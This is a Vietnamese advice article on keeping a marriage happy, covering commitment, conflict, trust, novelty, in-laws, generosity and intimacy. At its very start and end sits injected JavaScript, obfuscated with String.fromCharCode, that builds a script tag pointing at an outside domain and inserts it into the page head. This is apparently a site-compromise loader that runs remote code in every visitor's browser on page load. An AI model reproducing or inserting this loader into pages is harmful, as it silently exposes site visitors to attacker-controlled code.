Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();
Bí quyết hôn nhân hạnh phúc

Bí quyết hôn nhân hạnh phúc

Bí quyết để có một cuộc hôn nhân hạnh phúc là gì? Theo Jade House đó chính là “Cả hai đều không muốn từ bỏ”. Chỉ cần điều này được duy trì một cách đều đặn thì mọi thử thách của cuộc đời và thời gian đều có thể vượt qua được.

Cuộc hôn nhân này là của chúng ta, hãy cùng nhau vun đắp

Sự bền vững của mọi cuộc hôn nhân thường không liên quan đến sự công bằng, sự tôn trọng, tình bạn, nhu cầu tình dục của cả hai bên. Bí quyết hiệu quả nhất để có được một cuộc hôn nhân vững chắc là “Cả hai người đều không muốn từ bỏ”. Chỉ cần điều này được duy trì một cách đều đặn thì mọi thử thách của cuộc đời và thời gian đều có thể vượt qua được.

Chúng ta không thể hiểu được những thử thách mà người bạn đời của mình có thể đang phải đối mặt. Thay vào đó, chúng ta lại đang áp đặt một cách phi lý giữa mối quan hệ thực tế và người mình yêu. Nhưng điều chắc chắn có thể ngăn chặn được tờ đơn ly hôn chính là cả hai vẫn quyết định ở cùng nhau, mặc cho bao sóng gió ập tới. Hôn nhân không phải là một câu chuyện cổ tích thần tiên mà chính là lựa chọn luôn bên nhau.

Cắt bỏ những gốc rễ của mẫu thuẫn

“Một vấn đề không được giải quyết giống như một khối u ung thư, nó có thể phán triển và ăn mòn mối quan hệ của hai bên, giết chết sự trong sáng, hạnh phúc và nét đẹp của cuộc hôn nhân”. Những mâu thuẫn giống như những khối u, đang hàng ngày bòn rút những hạnh phúc, yêu thương, vui vẻ trong cuộc hôn nhân này. Hãy ngăn chặn nó, đừng để nó sinh sôi, bám rễ như những cây tầm gửi.

Giờ khi đã biết bí mật lớn của hôn nhân, thì hãy nghĩ xem, bạn có cảm thấy được yêu thương? An toàn? Hay cảm thấy rằng người mình kết hôn có quan tâm và ủng hộ mình không? Xem xét việc người bạn đời của mình phản ứng ra sao với những nhu cầu của bạn là rất quan trọng trong việc gìn giữ mối quan hệ.

Theo thời gian, bạn sẽ tìm ra những đặc điểm và hành vi khiến bạn cảm thấy không hài lòng của người kia. Tuy nhiên, trước khi nghĩ tới việc có nên tiếp tục chung sống cùng nhau hay không, bạn nên xem xét chất lượng cuộc sống và sự hạnh phúc của bạn khi ở bên người mình cưới.

Cuộc hôn nhân nào cũng có những mâu thuẫn và chúng ta phải cùng nhau xác định chúng là gì và nhanh chóng tìm cách giải quyết.

Luôn yêu thương bản thân mình

Tài chính – kinh tế luôn là vấn đề chủ đạo và nhạy cảm trong mọi cuộc hôn nhân. Khi hai người mới kết hôn, họ chỉ cần vun đắp tình cảm đôi bên, sống cuộc đời hạnh phúc của đôi vợ chồng son. Nhưng điều gì phải đến rồi cũng sẽ đến, khi họ có con, áp lực tài chính và nuôi dạy con đè nặng lên vai khiến nhiều người quá bận rộn, không còn thời gian dành cho bản thân. Sự quá tải xuất hiện, thậm chí có những người phụ nữ hi sinh rất nhiều cho gia đình và dễ dàng đánh mất cuộc sống riêng tư của chính mình.

Tuy nhiên, không phải sự hy sinh nào cũng đáng giá và được đón nhận. Nhiều người đã hy sinh rất nhiều, từ bỏ sự nghiệp, đam mê, bạn bè,… để toàn tâm toàn ý chăm lo cho gia đình, nhưng chưa chắc người kia đã ghi nhận cống hiến của bạn. Bạn càng hy sinh nhiều, những thành viên khác trong gia đình sẽ càng coi đó là chuyện đương nhiên và không còn cảm kích nữa. Đến khi bạn kiệt sức, bạn đấu tranh thì họ coi đó là sự thiếu trách nhiệm. Vì vậy, dù cuộc sống gia đình có bận rộn đến đâu, bạn cũng không nên quên nhiệm vụ cao cả là yêu thương chính bản thân mình từ sức khỏe, vóc dáng cơ thể, sự quyến rũ. Hãy duy trì các mối quan hệ, gặp gỡ bạn bè, đối tác, kết bạn, tham gia những hoạt động ngoại khóa bổ ích.

Duy trì lòng tin với tình yêu

Biểu hiện rõ ràng nhất của tình yêu chính là sự tin tưởng. Niềm tin là yếu tố cốt lõi của bất kỳ mối quan hệ nào. Niềm tin có thể biến bạn trở nên bất khả chiến bại và đủ mạnh để vượt qua những thực tế khắc nghiệt của cuộc sống và không phải lo sợ vì những mối đe dọa rình rập khác sẽ phá vỡ hôn nhân của bạn. Tuy nhiên, niềm tin đã bị mất đi, nó không khác nào một lưỡi hái tử thần sẽ quét sạch mọi sự cố gắng vun đắp, xây dựng của bạn.

Thời gian là thước đo tốt nhất để kiểm tra sức mạnh và sự chân thành của tình yêu. Khi bạn đặt niềm tin vào người bạn đời của mình, người kia sẽ càng yêu thương và tôn trọng bạn hơn. Người kia sẽ vì sự tin tưởng của bạn mà vượt qua những cám dỗ để không phụ niềm tin mà bạn dành cho người ấy.

Tìm kiêm sự mới lạ

“Chán cơm thèm phở” là bằng chứng khi niềm vui trong hôn nhân phai nhạt đi, người ta sẽ tìm kiếm sự mới lạ, hấp dẫn hơn. Theo Sonja Lyubomirsky, giáo sư tâm lý tại Đại học California, những cảm giác hạnh phúc tột cùng của các cặp vợ chồng mới cưới sẽ giảm dần sau khoảng 2 năm. Lyubomirsky cũng phát hiện ra rằng các cặp vợ chồng có thể thích ứng, tăng sự hài lòng lâu dài và xua tan những buồn tẻ của cuộc hôn nhân.

Đầu tiên hãy đánh giá sâu sắc những thay đổi tích cực trong cuộc sống của bạn (bao gồm cả vợ/chồng bạn và cuộc hôn nhân của bạn), bởi việc đánh giá cao mang lại nhiều điều cho hạnh phúc và giúp bạn tránh được việc đòi hỏi những điều khó khăn ở vợ/chồng mình.

Hãy xây dựng sự đa dạng, phong phú cho cuộc sống hôn nhân của bạn. Khoa học cho thấy việc trải nghiệm những điều mới mẻ và thú vị sẽ giúp vợ chồng tăng thêm sự hài lòng với nhau và say đắm trong tình yêu hơn.

Lyubomirsky nói: “Bạn không cần phải làm gì quá phức tạp, đó chỉ đơn giản là gặp gỡ bạn bè mới, đi khiêu vũ, học một ngôn ngữ nước ngoài, hoặc tham gia đội tình nguyện với nhau – bất cứ điều gì vợ chồng bạn không làm thường xuyên đều có thể giúp gia tăng tình cảm vợ chồng”.

Tứ thân phụ mẫu hài hòa

Mối quan hệ hai bên gia đình vợ (hoặc chồng) có sức ảnh hưởng rất lớn tới cuộc hôn nhân của bạn. Theo Terri Orbuch, giáo sư của trường đại học Michigan, nếu chồng có quan hệ gần gũi với bố mẹ vợ, cuộc hôn nhân của họ sẽ giảm 20% nguy cơ ly dị. Tuy nhiên, khi vợ quá gắn bó với mẹ chồng, cặp vợ chồng ấy lại có nhiều hơn 20% nguy cơ chia tay.

Orbuch cho rằng những phát hiện này nói lên tính chất trong các mối quan hệ của người phụ nữ. Khi chồng nói “Gia đình em rất quan trọng với anh”, vợ cảm thấy mình được hỗ trợ và được thừa nhận. Mặt khác, khi người phụ nữ phải phấn đấu để được gia đình nhà chồng chấp nhận, có thể cô ấy đã phải trải qua một thời gian khó khăn để thiết lập một quan hệ lành mạnh với bố mẹ chồng, điều đó có thể tăng thêm căng thẳng cho cuộc sống hôn nhân”.

Orbuch nhắc nhở cặp vợ chồng nên thực tế khi nói đến bố mẹ chồng (vợ). “Đừng chia sẻ thông tin về cuộc hôn nhân của bạn với họ. Hãy nhớ rằng khi bố mẹ chồng nói điều gì đó có vẻ quan trọng, thì trong đó chủ yếu là nói về họ và chỉ rất ít phần nói về bạn”.

Nghĩ đến ”cho” hơn là ”nhận”

Một người vợ với cuộc hôn nhân 44 năm khuyên các cặp vợ chồng trẻ: “Hãy sẵn sàng cho 70% và chỉ đòi hỏi nhận lại 30% thôi”. Vì sao? vì chính tâm thế chỉ nghĩ tới nhận mới dẫn đến những “đòi hỏi”, “so sánh”. Và đó là nguồn gốc của mâu thuẫn bởi bạn chẳng bao giờ thấy “bằng lòng”.

Một bí quyết rất quan trọng của các cặp vợ chồng không-ly-dị này là họ coi hôn nhân là một “hiệp ước” lâu dài, và việc bỏ nhau như là một sự đầu hàng mà họ không thể chấp nhận. Mặc dù có nhiều đau khổ, bất hạnh trong hôn nhân, họ vẫn cố gắng chịu đựng để hoàn thành “hiệp ước”: chỉ có cái chết mới làm chúng ta chia tay.

Thổi lửa cho chuyện “ấy”

70% nói rằng họ luôn hài lòng với người bạn tình của họ. Một người nói, “chúng tôi rất ham muốn nhau.” Một người khác thì kể rằng họ không thường xuyên gần gũi nhau, nhưng mỗi lần như vậy “thật là tuyệt”.

Thậm chí những cặp đôi yêu nhau sâu đậm cũng có thể không hợp nhau về mặt quan hệ tình dục. Hơn nữa, việc thiếu nhận thức và giáo dục về quan hệ tình dục sẽ làm cho vấn đề này xấu hơn. Chuyện chăn gối không chỉ giải phóng các hormone, tốt cho chúng ta về mặt thể chất và tinh thần mà còn duy trì mối quan hệ tốt đẹp.

Với các cuộc hôn nhân hạnh phúc, đam mê tình dục của họ dành cho nhau không chết theo thời gian, mà càng ngày càng mạnh hơn. Còn chuyện ngoại tình? Cuộc nghiên cứu này không chú trọng vào vấn đề này. Nhưng một ông chồng đã thú nhận: “Tôi đã ngoại tình một lần, trong một thời gian ngắn thôi, vào lúc mà chúng tôi không hề làm tình với nhau”.

(Dunji, Sưu tầm và biên soạn)

 

 

 

Digiprove sealCopyright secured by Digiprove © 2019 Tran  Minh
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();